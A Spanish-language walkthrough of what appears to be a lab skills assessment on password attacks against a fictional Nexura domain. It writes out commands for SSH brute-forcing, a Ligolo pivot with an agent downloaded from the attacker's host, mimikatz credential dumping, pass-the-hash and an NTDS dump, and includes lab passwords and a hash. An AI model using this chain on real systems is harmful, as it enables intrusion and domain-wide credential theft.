Skills Assessment - Password Attacks (Nexura LLC)
🎯 Escenario
Sabemos que Betty Jayde (Nexura LLC) usa la contraseña:
Texas123!@#
| Host | IP Address |
|---|---|
DMZ01 |
10.129.*.* (External), 172.16.119.13 (Internal) |
JUMP01 |
172.16.119.7 |
FILE01 |
172.16.119.10 |
DC01 |
172.16.119.11 |
| Solo DMZ01 es accesible externamente 🌍 → pivotear desde ahí al resto de la red. |
DMZ
🚀 Paso 1: Enumeración de Usuario
🔑 Tenemos la contraseña conocida (Texas123!@#), pero aún no el formato de usuario que utiliza Betty en AD.
👉 Usamos Username Anarchy para generar variaciones:
- Creamos un archivo
Betty.txtcon:
Betty Jayde
- Ejecutamos username-anarchy para generar usuarios posibles
./username-anarchy -i Betty.txt > ../resultados_username.txt
📂 Esto genera combinaciones típicas de AD:
-
bjayde -
betty.jayde -
jayde.betty -
b.jayde -
etc.
📝 Guardamos los resultados en resultados_username.txt.

Ahora probamos usuario + contraseña conocida:
hydra -L resultados_username.txt -P contrasena_betty.txt ssh://10.129.53.136 -t 4
✅ Resultado: el usuario válido es jbetty.

Conectamos por SSH:
ssh jbetty@10.129.53.136
🔀 Pivoting
Creamos la interfaz tun:
sudo ip tuntap add name ligolo mode tun
sudo ip link set ligolo up
sudo ip route add 172.16.119.0/24 dev ligolo
📡 Iniciamos el proxy Ligolo en nuestra máquina
./proxy -selfcert
Pasamos el agente a la víctima:
python3 -m http.server 6969
wget http://10.10.15.236:6969/agent # en la victima
Ejecutamos el agente:
./agent -connect <TU_IP_PUBLICA>:11601 -ignore-cert
Control de sesión:
session
start

🔎 Escaneo Interno
Podemos escanear la red interna ya desde Kali:
nmap -p- -sV --min-rate 5000 172.16.119.11 -sVC

🖥️ Hostname: DC01
🏢 Dominio: Nexura.htb
🔑 Credenciales encontradas en DMZ
Revisamos historial:
cat /home/*/.bash*
📌 Credenciales halladas:
Usuario: hwilliam
Pass: dealer-screwed-gym1

🖥️ JUMP01 (172.16.119.7)
Accedemos con Evil-WinRM:
evil-winrm -i 172.16.119.11 -u NEXURA\\hwilliam -p 'dealer-screwed-gym1'
📂 Enumeración con Snaffler
Subimos Snaffler:
wget -O Snaffler.exe https://github.com/SnaffCon/Snaffler/releases/download/1.0.212/Snaffler.exe
Lo transferimos con RDP:
xfreerdp /v:172.16.119.7 /u:NEXURA\\hwilliam /p:'dealer-screwed-gym1' /cert-ignore /drive:share,/home/kali/mimikatz
Ejecutamos y vemos ficheros sensibles (rojo = interesante):
Snaffler.exe -s
Encontramos Employee-Passwords_OLD.psafe3 🗝️.

🔓 Crackeando Password Safe
Copiamos el archivo:
copy "\\FILE01.nexura.htb\HR\Archive\Employee-Passwords_OLD.psafe3" C:\Users\hwilliam\Desktop\Employee-Passwords_OLD.psafe3
Pasamos a Kali y crackeamos:
python3 /usr/share/john/pwsafe2john.py Employee-Passwords_OLD.psafe3 > hash_psafe3.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash_psafe3.txt
john --show hash_psafe3.txt
✅ Contraseña maestra: michaeljackson 🎶

Abrimos el fichero y obtenemos usuarios + contraseñas:

bdavid:caramel-cigars-reply1
stom: fails-nibble-disturb4
hwilliam:warned-wobble-occur8
Solo bdavid mantiene credenciales válidas.
👤 Acceso con bdavid
Conectamos:
xfreerdp /v:172.16.119.7 /u:NEXURA\\bdavid /p:'caramel-cigars-reply1' /cert-ignore /drive:share,/home/kali/mimikatz
Ejecutamos PowerShell como administrador y luego Mimikatz para extraer hashes:
./mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
📌 Obtenemos el hash NTLM de stom, lo que nos permitirá hacer Pass-the-Hash (PtH).

🔑 Pass-the-Hash y escalada a DC01
Con el hash de stom conectamos al host remoto:
evil-winrm -i 172.16.119.7 -u stom -H 21ea958524cfd9a7791737f8d2f764fa
Habilitamos RDP en el host remoto:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Podemos conectarnos al DC01
Habilitamos RDP en el host remoto:
Finalmente, extraemos el hash de administrador con NetExec:
netexec smb 172.16.119.11 -u stom -H 21ea958524cfd9a7791737f8d2f764fa -d NEXURA -M ntdsutil
✅ Ahora tenemos control total sobre el dominio. 👑
